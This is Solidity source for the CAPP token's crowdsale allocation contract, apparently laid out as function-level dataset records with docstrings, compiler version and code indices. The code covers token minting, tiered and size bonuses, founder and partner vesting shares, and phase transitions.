* Supposed to be run by the backend. Used for distributing bonuses for affiliate transactions
* and special offers
*
* @param _beneficiary Token holder.
* @param _contribution The equivalent (in USD cents) of the contribution received off-chain.
* @param _tokens Total token allocation size
* @param _bonus Bonus size
*/
function issueTokensWithCustomBonus(address _beneficiary, uint _contribution, uint _tokens, uint _bonus)
external onlyBackend onlyValidPhase onlyUnpaused {
// sanity check, ensure we allocate more than 0
require(_tokens > 0);
// all tokens can be bonuses, but they cant be less than bonuses
require(_tokens >= _bonus);
// check capps
if (crowdsalePhase == CrowdsalePhase.PhaseOne) {
// ensure we are not over phase 1 cap after this contribution
require(totalCentsGathered.add(_contribution) <= phaseOneCap);
} else {
// ensure we are not over hard cap after this contribution
require(totalCentsGathered.add(_contribution) <= hardCap);
}
uint remainingContribution = _contribution;
// Check if the contribution fills the current bonus phase. If so, break it up in parts,
// mint tokens for each part separately, assign bonuses, trigger events. For transparency.
do {
// 1 - calculate contribution part for current bonus stage
uint centsLeftInPhase = calculateCentsLeftInPhase(remainingContribution);
uint contributionPart = min(remainingContribution, centsLeftInPhase);
// 3 - log the processed part of the contribution
totalCentsGathered = totalCentsGathered.add(contributionPart);
remainingContribution = remainingContribution.sub(contributionPart);
// 4 - advance bonus phase
if ((remainingContribution == centsLeftInPhase) && (bonusPhase != BonusPhase.None)) {
advanceBonusPhase();
}
} while (remainingContribution > 0);
// add tokens to the beneficiary
mintAndUpdate(_beneficiary, _tokens);
// if tokens arent equal to bonus
if (_tokens > _bonus) {
TokensAllocated(_beneficiary, _contribution, _tokens.sub(_bonus));
}
// if bonus exists
if (_bonus > 0) {
BonusIssued(_beneficiary, _bonus);
}
}
/**
* @dev Issues the rewards for founders and early contributors. 18% and 12% of the total token supply by the end
* of the crowdsale, respectively, including all the token bonuses on early contributions. Can only be
* called after the end of the crowdsale phase, ends the current phase.
*/
function rewardFoundersAndPartners() external onlyManager onlyValidPhase onlyUnpaused {
uint tokensDuringThisPhase;
if (crowdsalePhase == CrowdsalePhase.PhaseOne) {
tokensDuringThisPhase = totalTokenSupply;
} else {
tokensDuringThisPhase = totalTokenSupply - tokensDuringPhaseOne;
}
// Total tokens sold is 70% of the overall supply, founders' share is 18%, early contributors' is 12%
// So to obtain those from tokens sold, multiply them by 0.18 / 0.7 and 0.12 / 0.7 respectively.
uint tokensForFounders = tokensDuringThisPhase.mul(257).div(1000); // 0.257 of 0.7 is 0.18 of 1
uint tokensForPartners = tokensDuringThisPhase.mul(171).div(1000); // 0.171 of 0.7 is 0.12 of 1
tokenContract.mint(partnersWallet, tokensForPartners);
if (crowdsalePhase == CrowdsalePhase.PhaseOne) {
vestingWallet = new VestingWallet(foundersWallet, address(tokenContract));
tokenContract.mint(address(vestingWallet), tokensForFounders);
FoundersAndPartnersTokensIssued(address(vestingWallet), tokensForFounders,
partnersWallet, tokensForPartners);
// Store the total sum collected during phase one for calculations in phase two.
centsInPhaseOne = totalCentsGathered;
tokensDuringPhaseOne = totalTokenSupply;
// Enable token transfer.
tokenContract.unfreeze();
crowdsalePhase = CrowdsalePhase.BetweenPhases;
} else {
tokenContract.mint(address(vestingWallet), tokensForFounders);
vestingWallet.launchVesting();
FoundersAndPartnersTokensIssued(address(vestingWallet), tokensForFounders,
partnersWallet, tokensForPartners);
crowdsalePhase = CrowdsalePhase.Finished;
}
tokenContract.endMinting();
}
/**
* @dev Set the CAPP / USD rate for Phase two, and then start the second phase of token allocation.
* Can only be called by the crowdsale manager.
* _tokenRate How many CAPP per 1 USD cent. As dollars, CAPP has two decimals.
* For instance: tokenRate = 125 means "1.25 CAPP per USD cent" <=> "125 CAPP per USD".
*/
function beginPhaseTwo(uint _tokenRate) external onlyManager onlyUnpaused {
require(crowdsalePhase == CrowdsalePhase.BetweenPhases);
require(_tokenRate != 0);
tokenRate = _tokenRate;
crowdsalePhase = CrowdsalePhase.PhaseTwo;
bonusPhase = BonusPhase.TenPercent;
tokenContract.startMinting();
}
/**
* @dev Allows to freeze all token transfers in the future
* This is done to allow migrating to new contract in the future
* If such need ever arises (ie Migration to ERC23, or anything that community decides worth doing)
*/
function freeze() external onlyUnpaused onlyEmergency {
require(crowdsalePhase != CrowdsalePhase.PhaseOne);
tokenContract.freeze();
}
function unfreeze() external onlyUnpaused onlyEmergency {
require(crowdsalePhase != CrowdsalePhase.PhaseOne);
tokenContract.unfreeze();
}
// INTERNAL FUNCTIONS
// ====================
function calculateCentsLeftInPhase(uint _remainingContribution) internal view returns(uint) {
// Ten percent bonuses happen in both Phase One and Phase two, therefore:
// Take the bonus tier size, subtract the total money gathered in the current phase
if (bonusPhase == BonusPhase.TenPercent) {
return bonusTierSize.sub(totalCentsGathered.sub(centsInPhaseOne));
}
if (bonusPhase == BonusPhase.FivePercent) {
// Five percent bonuses only happen in Phase One, so no need to account
// for the first phase separately.
return bonusTierSize.mul(2).sub(totalCentsGathered);
}
return _remainingContribution;
}
function mintAndUpdate(address _beneficiary, uint _tokensToMint) internal {
tokenContract.mint(_beneficiary, _tokensToMint);
totalTokenSupply = totalTokenSupply.add(_tokensToMint);
}
function calculateTierBonus(uint _contribution) constant internal returns (uint) {
// All bonuses are additive and not multiplicative
// Calculate bonus on contribution size, then convert it to bonus tokens.
uint tierBonus = 0;
// tierBonus tier tierBonuses. We make sure in issueTokens that the processed contribution \
// falls entirely into one tier
if (bonusPhase == BonusPhase.TenPercent) {
tierBonus = _contribution.div(10); // multiply by 0.1
} else if (bonusPhase == BonusPhase.FivePercent) {
tierBonus = _contribution.div(20); // multiply by 0.05
}
tierBonus = tierBonus.mul(tokenRate);
return tierBonus;
}
function calculateSizeBonus(uint _contribution) constant internal returns (uint) {
uint sizeBonus = 0;
if (crowdsalePhase == CrowdsalePhase.PhaseOne) {
// 10% for huge contribution
if (_contribution >= hugeContributionBound) {
sizeBonus = _contribution.div(10); // multiply by 0.1
// 5% for big one
} else if (_contribution >= bigContributionBound) {
sizeBonus = _contribution.div(20); // multiply by 0.05
}
sizeBonus = sizeBonus.mul(tokenRate);
}
return sizeBonus;
}
/**
* @dev Advance the bonus phase to next tier when appropriate, do nothing otherwise.
*/
function advanceBonusPhase() internal onlyValidPhase {
if (crowdsalePhase == CrowdsalePhase.PhaseOne) {
if (bonusPhase == BonusPhase.TenPercent) {
bonusPhase = BonusPhase.FivePercent;
} else if (bonusPhase == BonusPhase.FivePercent) {
bonusPhase = BonusPhase.None;
}
} else if (bonusPhase == BonusPhase.TenPercent) {
bonusPhase = BonusPhase.None;
}
}
function min(uint _a, uint _b) internal pure returns (uint result) {
return _a < _b ? _a : _b;
}
/**
* Modifiers
*/
modifier onlyValidPhase() {
require( crowdsalePhase == CrowdsalePhase.PhaseOne
|| crowdsalePhase == CrowdsalePhase.PhaseTwo );
_;
}
// Do not allow to send money directly to this contract
function() payable public {
revert();
}
} | /**
* @dev Prepaid token allocation for a capped crowdsale with bonus structure sliding on sales
* Written with OpenZeppelin sources as a rough reference.
*/ | NatSpecMultiLine | rewardFoundersAndPartners | function rewardFoundersAndPartners() external onlyManager onlyValidPhase onlyUnpaused {
uint tokensDuringThisPhase;
if (crowdsalePhase == CrowdsalePhase.PhaseOne) {
tokensDuringThisPhase = totalTokenSupply;
} else {
tokensDuringThisPhase = totalTokenSupply - tokensDuringPhaseOne;
}
// Total tokens sold is 70% of the overall supply, founders' share is 18%, early contributors' is 12%
// So to obtain those from tokens sold, multiply them by 0.18 / 0.7 and 0.12 / 0.7 respectively.
uint tokensForFounders = tokensDuringThisPhase.mul(257).div(1000); // 0.257 of 0.7 is 0.18 of 1
uint tokensForPartners = tokensDuringThisPhase.mul(171).div(1000); // 0.171 of 0.7 is 0.12 of 1
tokenContract.mint(partnersWallet, tokensForPartners);
if (crowdsalePhase == CrowdsalePhase.PhaseOne) {
vestingWallet = new VestingWallet(foundersWallet, address(tokenContract));
tokenContract.mint(address(vestingWallet), tokensForFounders);
FoundersAndPartnersTokensIssued(address(vestingWallet), tokensForFounders,
partnersWallet, tokensForPartners);
// Store the total sum collected during phase one for calculations in phase two.
centsInPhaseOne = totalCentsGathered;
tokensDuringPhaseOne = totalTokenSupply;
// Enable token transfer.
tokenContract.unfreeze();
crowdsalePhase = CrowdsalePhase.BetweenPhases;
} else {
tokenContract.mint(address(vestingWallet), tokensForFounders);
vestingWallet.launchVesting();
FoundersAndPartnersTokensIssued(address(vestingWallet), tokensForFounders,
partnersWallet, tokensForPartners);
crowdsalePhase = CrowdsalePhase.Finished;
}
tokenContract.endMinting();
| /**
* @dev Issues the rewards for founders and early contributors. 18% and 12% of the total token supply by the end
* of the crowdsale, respectively, including all the token bonuses on early contributions. Can only be
* called after the end of the crowdsale phase, ends the current phase.
*/ | NatSpecMultiLine | v0.4.18+commit.9cf6e910 | bzzr://aae7252a04d75dd9b6180657454476c6b715329f50bb603876154f65c5a464a0 | {
"func_code_index": [
9076,
11090
]
} | 4,273 |
|
TokenAllocation | TokenAllocation.sol | 0xf67acb7b9226e482afcf7f08aac9466c50c19d9c | Solidity | TokenAllocation | contract TokenAllocation is GenericCrowdsale {
using SafeMath for uint;
// Events
event TokensAllocated(address _beneficiary, uint _contribution, uint _tokensIssued);
event BonusIssued(address _beneficiary, uint _bonusTokensIssued);
event FoundersAndPartnersTokensIssued(address _foundersWallet, uint _tokensForFounders,
address _partnersWallet, uint _tokensForPartners);
// Token information
uint public tokenRate = 125; // 1 USD = 125 CAPP; so 1 cent = 1.25 CAPP \
// assuming CAPP has 2 decimals (as set in token contract)
Cappasity public tokenContract;
address public foundersWallet; // A wallet permitted to request tokens from the time vaults.
address public partnersWallet; // A wallet that distributes the tokens to early contributors.
// Crowdsale progress
uint constant public hardCap = 5 * 1e7 * 1e2; // 50 000 000 dollars * 100 cents per dollar
uint constant public phaseOneCap = 3 * 1e7 * 1e2; // 30 000 000 dollars * 100 cents per dollar
uint public totalCentsGathered = 0;
// Total sum gathered in phase one, need this to adjust the bonus tiers in phase two.
// Updated only once, when the phase one is concluded.
uint public centsInPhaseOne = 0;
uint public totalTokenSupply = 0; // Counting the bonuses, not counting the founders' share.
// Total tokens issued in phase one, including bonuses. Need this to correctly calculate the founders' \
// share and issue it in parts, once after each round. Updated when issuing tokens.
uint public tokensDuringPhaseOne = 0;
VestingWallet public vestingWallet;
enum CrowdsalePhase { PhaseOne, BetweenPhases, PhaseTwo, Finished }
enum BonusPhase { TenPercent, FivePercent, None }
uint public constant bonusTierSize = 1 * 1e7 * 1e2; // 10 000 000 dollars * 100 cents per dollar
uint public constant bigContributionBound = 1 * 1e5 * 1e2; // 100 000 dollars * 100 cents per dollar
uint public constant hugeContributionBound = 3 * 1e5 * 1e2; // 300 000 dollars * 100 cents per dollar
CrowdsalePhase public crowdsalePhase = CrowdsalePhase.PhaseOne;
BonusPhase public bonusPhase = BonusPhase.TenPercent;
/**
* @dev Constructs the allocator.
* @param _icoBackend Wallet address that should be owned by the off-chain backend, from which \
* \ it mints the tokens for contributions accepted in other currencies.
* @param _icoManager Allowed to start phase 2.
* @param _foundersWallet Where the founders' tokens to to after vesting.
* @param _partnersWallet A wallet that distributes tokens to early contributors.
*/
function TokenAllocation(address _icoManager,
address _icoBackend,
address _foundersWallet,
address _partnersWallet,
address _emergencyManager
) public {
require(_icoManager != address(0));
require(_icoBackend != address(0));
require(_foundersWallet != address(0));
require(_partnersWallet != address(0));
require(_emergencyManager != address(0));
tokenContract = new Cappasity(address(this));
icoManager = _icoManager;
icoBackend = _icoBackend;
foundersWallet = _foundersWallet;
partnersWallet = _partnersWallet;
emergencyManager = _emergencyManager;
}
// PRIVILEGED FUNCTIONS
// ====================
/**
* @dev Issues tokens for a particular address as for a contribution of size _contribution, \
* \ then issues bonuses in proportion.
* @param _beneficiary Receiver of the tokens.
* @param _contribution Size of the contribution (in USD cents).
*/
function issueTokens(address _beneficiary, uint _contribution) external onlyBackend onlyValidPhase onlyUnpaused {
// phase 1 cap less than hard cap
if (crowdsalePhase == CrowdsalePhase.PhaseOne) {
require(totalCentsGathered.add(_contribution) <= phaseOneCap);
} else {
require(totalCentsGathered.add(_contribution) <= hardCap);
}
uint remainingContribution = _contribution;
// Check if the contribution fills the current bonus phase. If so, break it up in parts,
// mint tokens for each part separately, assign bonuses, trigger events. For transparency.
do {
// 1 - calculate contribution part for current bonus stage
uint centsLeftInPhase = calculateCentsLeftInPhase(remainingContribution);
uint contributionPart = min(remainingContribution, centsLeftInPhase);
// 3 - mint tokens
uint tokensToMint = tokenRate.mul(contributionPart);
mintAndUpdate(_beneficiary, tokensToMint);
TokensAllocated(_beneficiary, contributionPart, tokensToMint);
// 4 - mint bonus
uint tierBonus = calculateTierBonus(contributionPart);
if (tierBonus > 0) {
mintAndUpdate(_beneficiary, tierBonus);
BonusIssued(_beneficiary, tierBonus);
}
// 5 - advance bonus phase
if ((bonusPhase != BonusPhase.None) && (contributionPart == centsLeftInPhase)) {
advanceBonusPhase();
}
// 6 - log the processed part of the contribution
totalCentsGathered = totalCentsGathered.add(contributionPart);
remainingContribution = remainingContribution.sub(contributionPart);
// 7 - continue?
} while (remainingContribution > 0);
// Mint contribution size bonus
uint sizeBonus = calculateSizeBonus(_contribution);
if (sizeBonus > 0) {
mintAndUpdate(_beneficiary, sizeBonus);
BonusIssued(_beneficiary, sizeBonus);
}
}
/**
* @dev Issues tokens for the off-chain contributors by accepting calls from the trusted address.
* Supposed to be run by the backend. Used for distributing bonuses for affiliate transactions
* and special offers
*
* @param _beneficiary Token holder.
* @param _contribution The equivalent (in USD cents) of the contribution received off-chain.
* @param _tokens Total token allocation size
* @param _bonus Bonus size
*/
function issueTokensWithCustomBonus(address _beneficiary, uint _contribution, uint _tokens, uint _bonus)
external onlyBackend onlyValidPhase onlyUnpaused {
// sanity check, ensure we allocate more than 0
require(_tokens > 0);
// all tokens can be bonuses, but they cant be less than bonuses
require(_tokens >= _bonus);
// check capps
if (crowdsalePhase == CrowdsalePhase.PhaseOne) {
// ensure we are not over phase 1 cap after this contribution
require(totalCentsGathered.add(_contribution) <= phaseOneCap);
} else {
// ensure we are not over hard cap after this contribution
require(totalCentsGathered.add(_contribution) <= hardCap);
}
uint remainingContribution = _contribution;
// Check if the contribution fills the current bonus phase. If so, break it up in parts,
// mint tokens for each part separately, assign bonuses, trigger events. For transparency.
do {
// 1 - calculate contribution part for current bonus stage
uint centsLeftInPhase = calculateCentsLeftInPhase(remainingContribution);
uint contributionPart = min(remainingContribution, centsLeftInPhase);
// 3 - log the processed part of the contribution
totalCentsGathered = totalCentsGathered.add(contributionPart);
remainingContribution = remainingContribution.sub(contributionPart);
// 4 - advance bonus phase
if ((remainingContribution == centsLeftInPhase) && (bonusPhase != BonusPhase.None)) {
advanceBonusPhase();
}
} while (remainingContribution > 0);
// add tokens to the beneficiary
mintAndUpdate(_beneficiary, _tokens);
// if tokens arent equal to bonus
if (_tokens > _bonus) {
TokensAllocated(_beneficiary, _contribution, _tokens.sub(_bonus));
}
// if bonus exists
if (_bonus > 0) {
BonusIssued(_beneficiary, _bonus);
}
}
/**
* @dev Issues the rewards for founders and early contributors. 18% and 12% of the total token supply by the end
* of the crowdsale, respectively, including all the token bonuses on early contributions. Can only be
* called after the end of the crowdsale phase, ends the current phase.
*/
function rewardFoundersAndPartners() external onlyManager onlyValidPhase onlyUnpaused {
uint tokensDuringThisPhase;
if (crowdsalePhase == CrowdsalePhase.PhaseOne) {
tokensDuringThisPhase = totalTokenSupply;
} else {
tokensDuringThisPhase = totalTokenSupply - tokensDuringPhaseOne;
}
// Total tokens sold is 70% of the overall supply, founders' share is 18%, early contributors' is 12%
// So to obtain those from tokens sold, multiply them by 0.18 / 0.7 and 0.12 / 0.7 respectively.
uint tokensForFounders = tokensDuringThisPhase.mul(257).div(1000); // 0.257 of 0.7 is 0.18 of 1
uint tokensForPartners = tokensDuringThisPhase.mul(171).div(1000); // 0.171 of 0.7 is 0.12 of 1
tokenContract.mint(partnersWallet, tokensForPartners);
if (crowdsalePhase == CrowdsalePhase.PhaseOne) {
vestingWallet = new VestingWallet(foundersWallet, address(tokenContract));
tokenContract.mint(address(vestingWallet), tokensForFounders);
FoundersAndPartnersTokensIssued(address(vestingWallet), tokensForFounders,
partnersWallet, tokensForPartners);
// Store the total sum collected during phase one for calculations in phase two.
centsInPhaseOne = totalCentsGathered;
tokensDuringPhaseOne = totalTokenSupply;
// Enable token transfer.
tokenContract.unfreeze();
crowdsalePhase = CrowdsalePhase.BetweenPhases;
} else {
tokenContract.mint(address(vestingWallet), tokensForFounders);
vestingWallet.launchVesting();
FoundersAndPartnersTokensIssued(address(vestingWallet), tokensForFounders,
partnersWallet, tokensForPartners);
crowdsalePhase = CrowdsalePhase.Finished;
}
tokenContract.endMinting();
}
/**
* @dev Set the CAPP / USD rate for Phase two, and then start the second phase of token allocation.
* Can only be called by the crowdsale manager.
* _tokenRate How many CAPP per 1 USD cent. As dollars, CAPP has two decimals.
* For instance: tokenRate = 125 means "1.25 CAPP per USD cent" <=> "125 CAPP per USD".
*/
function beginPhaseTwo(uint _tokenRate) external onlyManager onlyUnpaused {
require(crowdsalePhase == CrowdsalePhase.BetweenPhases);
require(_tokenRate != 0);
tokenRate = _tokenRate;
crowdsalePhase = CrowdsalePhase.PhaseTwo;
bonusPhase = BonusPhase.TenPercent;
tokenContract.startMinting();
}
/**
* @dev Allows to freeze all token transfers in the future
* This is done to allow migrating to new contract in the future
* If such need ever arises (ie Migration to ERC23, or anything that community decides worth doing)
*/
function freeze() external onlyUnpaused onlyEmergency {
require(crowdsalePhase != CrowdsalePhase.PhaseOne);
tokenContract.freeze();
}
function unfreeze() external onlyUnpaused onlyEmergency {
require(crowdsalePhase != CrowdsalePhase.PhaseOne);
tokenContract.unfreeze();
}
// INTERNAL FUNCTIONS
// ====================
function calculateCentsLeftInPhase(uint _remainingContribution) internal view returns(uint) {
// Ten percent bonuses happen in both Phase One and Phase two, therefore:
// Take the bonus tier size, subtract the total money gathered in the current phase
if (bonusPhase == BonusPhase.TenPercent) {
return bonusTierSize.sub(totalCentsGathered.sub(centsInPhaseOne));
}
if (bonusPhase == BonusPhase.FivePercent) {
// Five percent bonuses only happen in Phase One, so no need to account
// for the first phase separately.
return bonusTierSize.mul(2).sub(totalCentsGathered);
}
return _remainingContribution;
}
function mintAndUpdate(address _beneficiary, uint _tokensToMint) internal {
tokenContract.mint(_beneficiary, _tokensToMint);
totalTokenSupply = totalTokenSupply.add(_tokensToMint);
}
function calculateTierBonus(uint _contribution) constant internal returns (uint) {
// All bonuses are additive and not multiplicative
// Calculate bonus on contribution size, then convert it to bonus tokens.
uint tierBonus = 0;
// tierBonus tier tierBonuses. We make sure in issueTokens that the processed contribution \
// falls entirely into one tier
if (bonusPhase == BonusPhase.TenPercent) {
tierBonus = _contribution.div(10); // multiply by 0.1
} else if (bonusPhase == BonusPhase.FivePercent) {
tierBonus = _contribution.div(20); // multiply by 0.05
}
tierBonus = tierBonus.mul(tokenRate);
return tierBonus;
}
function calculateSizeBonus(uint _contribution) constant internal returns (uint) {
uint sizeBonus = 0;
if (crowdsalePhase == CrowdsalePhase.PhaseOne) {
// 10% for huge contribution
if (_contribution >= hugeContributionBound) {
sizeBonus = _contribution.div(10); // multiply by 0.1
// 5% for big one
} else if (_contribution >= bigContributionBound) {
sizeBonus = _contribution.div(20); // multiply by 0.05
}
sizeBonus = sizeBonus.mul(tokenRate);
}
return sizeBonus;
}
/**
* @dev Advance the bonus phase to next tier when appropriate, do nothing otherwise.
*/
function advanceBonusPhase() internal onlyValidPhase {
if (crowdsalePhase == CrowdsalePhase.PhaseOne) {
if (bonusPhase == BonusPhase.TenPercent) {
bonusPhase = BonusPhase.FivePercent;
} else if (bonusPhase == BonusPhase.FivePercent) {
bonusPhase = BonusPhase.None;
}
} else if (bonusPhase == BonusPhase.TenPercent) {
bonusPhase = BonusPhase.None;
}
}
function min(uint _a, uint _b) internal pure returns (uint result) {
return _a < _b ? _a : _b;
}
/**
* Modifiers
*/
modifier onlyValidPhase() {
require( crowdsalePhase == CrowdsalePhase.PhaseOne
|| crowdsalePhase == CrowdsalePhase.PhaseTwo );
_;
}
// Do not allow to send money directly to this contract
function() payable public {
revert();
}
} | /**
* @dev Prepaid token allocation for a capped crowdsale with bonus structure sliding on sales
* Written with OpenZeppelin sources as a rough reference.
*/ | NatSpecMultiLine | beginPhaseTwo | function beginPhaseTwo(uint _tokenRate) external onlyManager onlyUnpaused {
require(crowdsalePhase == CrowdsalePhase.BetweenPhases);
require(_tokenRate != 0);
tokenRate = _tokenRate;
crowdsalePhase = CrowdsalePhase.PhaseTwo;
bonusPhase = BonusPhase.TenPercent;
tokenContract.startMinting();
}
| /**
* @dev Set the CAPP / USD rate for Phase two, and then start the second phase of token allocation.
* Can only be called by the crowdsale manager.
* _tokenRate How many CAPP per 1 USD cent. As dollars, CAPP has two decimals.
* For instance: tokenRate = 125 means "1.25 CAPP per USD cent" <=> "125 CAPP per USD".
*/ | NatSpecMultiLine | v0.4.18+commit.9cf6e910 | bzzr://aae7252a04d75dd9b6180657454476c6b715329f50bb603876154f65c5a464a0 | {
"func_code_index": [
11464,
11822
]
} | 4,274 |
|
TokenAllocation | TokenAllocation.sol | 0xf67acb7b9226e482afcf7f08aac9466c50c19d9c | Solidity | TokenAllocation | contract TokenAllocation is GenericCrowdsale {
using SafeMath for uint;
// Events
event TokensAllocated(address _beneficiary, uint _contribution, uint _tokensIssued);
event BonusIssued(address _beneficiary, uint _bonusTokensIssued);
event FoundersAndPartnersTokensIssued(address _foundersWallet, uint _tokensForFounders,
address _partnersWallet, uint _tokensForPartners);
// Token information
uint public tokenRate = 125; // 1 USD = 125 CAPP; so 1 cent = 1.25 CAPP \
// assuming CAPP has 2 decimals (as set in token contract)
Cappasity public tokenContract;
address public foundersWallet; // A wallet permitted to request tokens from the time vaults.
address public partnersWallet; // A wallet that distributes the tokens to early contributors.
// Crowdsale progress
uint constant public hardCap = 5 * 1e7 * 1e2; // 50 000 000 dollars * 100 cents per dollar
uint constant public phaseOneCap = 3 * 1e7 * 1e2; // 30 000 000 dollars * 100 cents per dollar
uint public totalCentsGathered = 0;
// Total sum gathered in phase one, need this to adjust the bonus tiers in phase two.
// Updated only once, when the phase one is concluded.
uint public centsInPhaseOne = 0;
uint public totalTokenSupply = 0; // Counting the bonuses, not counting the founders' share.
// Total tokens issued in phase one, including bonuses. Need this to correctly calculate the founders' \
// share and issue it in parts, once after each round. Updated when issuing tokens.
uint public tokensDuringPhaseOne = 0;
VestingWallet public vestingWallet;
enum CrowdsalePhase { PhaseOne, BetweenPhases, PhaseTwo, Finished }
enum BonusPhase { TenPercent, FivePercent, None }
uint public constant bonusTierSize = 1 * 1e7 * 1e2; // 10 000 000 dollars * 100 cents per dollar
uint public constant bigContributionBound = 1 * 1e5 * 1e2; // 100 000 dollars * 100 cents per dollar
uint public constant hugeContributionBound = 3 * 1e5 * 1e2; // 300 000 dollars * 100 cents per dollar
CrowdsalePhase public crowdsalePhase = CrowdsalePhase.PhaseOne;
BonusPhase public bonusPhase = BonusPhase.TenPercent;
/**
* @dev Constructs the allocator.
* @param _icoBackend Wallet address that should be owned by the off-chain backend, from which \
* \ it mints the tokens for contributions accepted in other currencies.
* @param _icoManager Allowed to start phase 2.
* @param _foundersWallet Where the founders' tokens to to after vesting.
* @param _partnersWallet A wallet that distributes tokens to early contributors.
*/
function TokenAllocation(address _icoManager,
address _icoBackend,
address _foundersWallet,
address _partnersWallet,
address _emergencyManager
) public {
require(_icoManager != address(0));
require(_icoBackend != address(0));
require(_foundersWallet != address(0));
require(_partnersWallet != address(0));
require(_emergencyManager != address(0));
tokenContract = new Cappasity(address(this));
icoManager = _icoManager;
icoBackend = _icoBackend;
foundersWallet = _foundersWallet;
partnersWallet = _partnersWallet;
emergencyManager = _emergencyManager;
}
// PRIVILEGED FUNCTIONS
// ====================
/**
* @dev Issues tokens for a particular address as for a contribution of size _contribution, \
* \ then issues bonuses in proportion.
* @param _beneficiary Receiver of the tokens.
* @param _contribution Size of the contribution (in USD cents).
*/
function issueTokens(address _beneficiary, uint _contribution) external onlyBackend onlyValidPhase onlyUnpaused {
// phase 1 cap less than hard cap
if (crowdsalePhase == CrowdsalePhase.PhaseOne) {
require(totalCentsGathered.add(_contribution) <= phaseOneCap);
} else {
require(totalCentsGathered.add(_contribution) <= hardCap);
}
uint remainingContribution = _contribution;
// Check if the contribution fills the current bonus phase. If so, break it up in parts,
// mint tokens for each part separately, assign bonuses, trigger events. For transparency.
do {
// 1 - calculate contribution part for current bonus stage
uint centsLeftInPhase = calculateCentsLeftInPhase(remainingContribution);
uint contributionPart = min(remainingContribution, centsLeftInPhase);
// 3 - mint tokens
uint tokensToMint = tokenRate.mul(contributionPart);
mintAndUpdate(_beneficiary, tokensToMint);
TokensAllocated(_beneficiary, contributionPart, tokensToMint);
// 4 - mint bonus
uint tierBonus = calculateTierBonus(contributionPart);
if (tierBonus > 0) {
mintAndUpdate(_beneficiary, tierBonus);
BonusIssued(_beneficiary, tierBonus);
}
// 5 - advance bonus phase
if ((bonusPhase != BonusPhase.None) && (contributionPart == centsLeftInPhase)) {
advanceBonusPhase();
}
// 6 - log the processed part of the contribution
totalCentsGathered = totalCentsGathered.add(contributionPart);
remainingContribution = remainingContribution.sub(contributionPart);
// 7 - continue?
} while (remainingContribution > 0);
// Mint contribution size bonus
uint sizeBonus = calculateSizeBonus(_contribution);
if (sizeBonus > 0) {
mintAndUpdate(_beneficiary, sizeBonus);
BonusIssued(_beneficiary, sizeBonus);
}
}
/**
* @dev Issues tokens for the off-chain contributors by accepting calls from the trusted address.
* Supposed to be run by the backend. Used for distributing bonuses for affiliate transactions
* and special offers
*
* @param _beneficiary Token holder.
* @param _contribution The equivalent (in USD cents) of the contribution received off-chain.
* @param _tokens Total token allocation size
* @param _bonus Bonus size
*/
function issueTokensWithCustomBonus(address _beneficiary, uint _contribution, uint _tokens, uint _bonus)
external onlyBackend onlyValidPhase onlyUnpaused {
// sanity check, ensure we allocate more than 0
require(_tokens > 0);
// all tokens can be bonuses, but they cant be less than bonuses
require(_tokens >= _bonus);
// check capps
if (crowdsalePhase == CrowdsalePhase.PhaseOne) {
// ensure we are not over phase 1 cap after this contribution
require(totalCentsGathered.add(_contribution) <= phaseOneCap);
} else {
// ensure we are not over hard cap after this contribution
require(totalCentsGathered.add(_contribution) <= hardCap);
}
uint remainingContribution = _contribution;
// Check if the contribution fills the current bonus phase. If so, break it up in parts,
// mint tokens for each part separately, assign bonuses, trigger events. For transparency.
do {
// 1 - calculate contribution part for current bonus stage
uint centsLeftInPhase = calculateCentsLeftInPhase(remainingContribution);
uint contributionPart = min(remainingContribution, centsLeftInPhase);
// 3 - log the processed part of the contribution
totalCentsGathered = totalCentsGathered.add(contributionPart);
remainingContribution = remainingContribution.sub(contributionPart);
// 4 - advance bonus phase
if ((remainingContribution == centsLeftInPhase) && (bonusPhase != BonusPhase.None)) {
advanceBonusPhase();
}
} while (remainingContribution > 0);
// add tokens to the beneficiary
mintAndUpdate(_beneficiary, _tokens);
// if tokens arent equal to bonus
if (_tokens > _bonus) {
TokensAllocated(_beneficiary, _contribution, _tokens.sub(_bonus));
}
// if bonus exists
if (_bonus > 0) {
BonusIssued(_beneficiary, _bonus);
}
}
/**
* @dev Issues the rewards for founders and early contributors. 18% and 12% of the total token supply by the end
* of the crowdsale, respectively, including all the token bonuses on early contributions. Can only be
* called after the end of the crowdsale phase, ends the current phase.
*/
function rewardFoundersAndPartners() external onlyManager onlyValidPhase onlyUnpaused {
uint tokensDuringThisPhase;
if (crowdsalePhase == CrowdsalePhase.PhaseOne) {
tokensDuringThisPhase = totalTokenSupply;
} else {
tokensDuringThisPhase = totalTokenSupply - tokensDuringPhaseOne;
}
// Total tokens sold is 70% of the overall supply, founders' share is 18%, early contributors' is 12%
// So to obtain those from tokens sold, multiply them by 0.18 / 0.7 and 0.12 / 0.7 respectively.
uint tokensForFounders = tokensDuringThisPhase.mul(257).div(1000); // 0.257 of 0.7 is 0.18 of 1
uint tokensForPartners = tokensDuringThisPhase.mul(171).div(1000); // 0.171 of 0.7 is 0.12 of 1
tokenContract.mint(partnersWallet, tokensForPartners);
if (crowdsalePhase == CrowdsalePhase.PhaseOne) {
vestingWallet = new VestingWallet(foundersWallet, address(tokenContract));
tokenContract.mint(address(vestingWallet), tokensForFounders);
FoundersAndPartnersTokensIssued(address(vestingWallet), tokensForFounders,
partnersWallet, tokensForPartners);
// Store the total sum collected during phase one for calculations in phase two.
centsInPhaseOne = totalCentsGathered;
tokensDuringPhaseOne = totalTokenSupply;
// Enable token transfer.
tokenContract.unfreeze();
crowdsalePhase = CrowdsalePhase.BetweenPhases;
} else {
tokenContract.mint(address(vestingWallet), tokensForFounders);
vestingWallet.launchVesting();
FoundersAndPartnersTokensIssued(address(vestingWallet), tokensForFounders,
partnersWallet, tokensForPartners);
crowdsalePhase = CrowdsalePhase.Finished;
}
tokenContract.endMinting();
}
/**
* @dev Set the CAPP / USD rate for Phase two, and then start the second phase of token allocation.
* Can only be called by the crowdsale manager.
* _tokenRate How many CAPP per 1 USD cent. As dollars, CAPP has two decimals.
* For instance: tokenRate = 125 means "1.25 CAPP per USD cent" <=> "125 CAPP per USD".
*/
function beginPhaseTwo(uint _tokenRate) external onlyManager onlyUnpaused {
require(crowdsalePhase == CrowdsalePhase.BetweenPhases);
require(_tokenRate != 0);
tokenRate = _tokenRate;
crowdsalePhase = CrowdsalePhase.PhaseTwo;
bonusPhase = BonusPhase.TenPercent;
tokenContract.startMinting();
}
/**
* @dev Allows to freeze all token transfers in the future
* This is done to allow migrating to new contract in the future
* If such need ever arises (ie Migration to ERC23, or anything that community decides worth doing)
*/
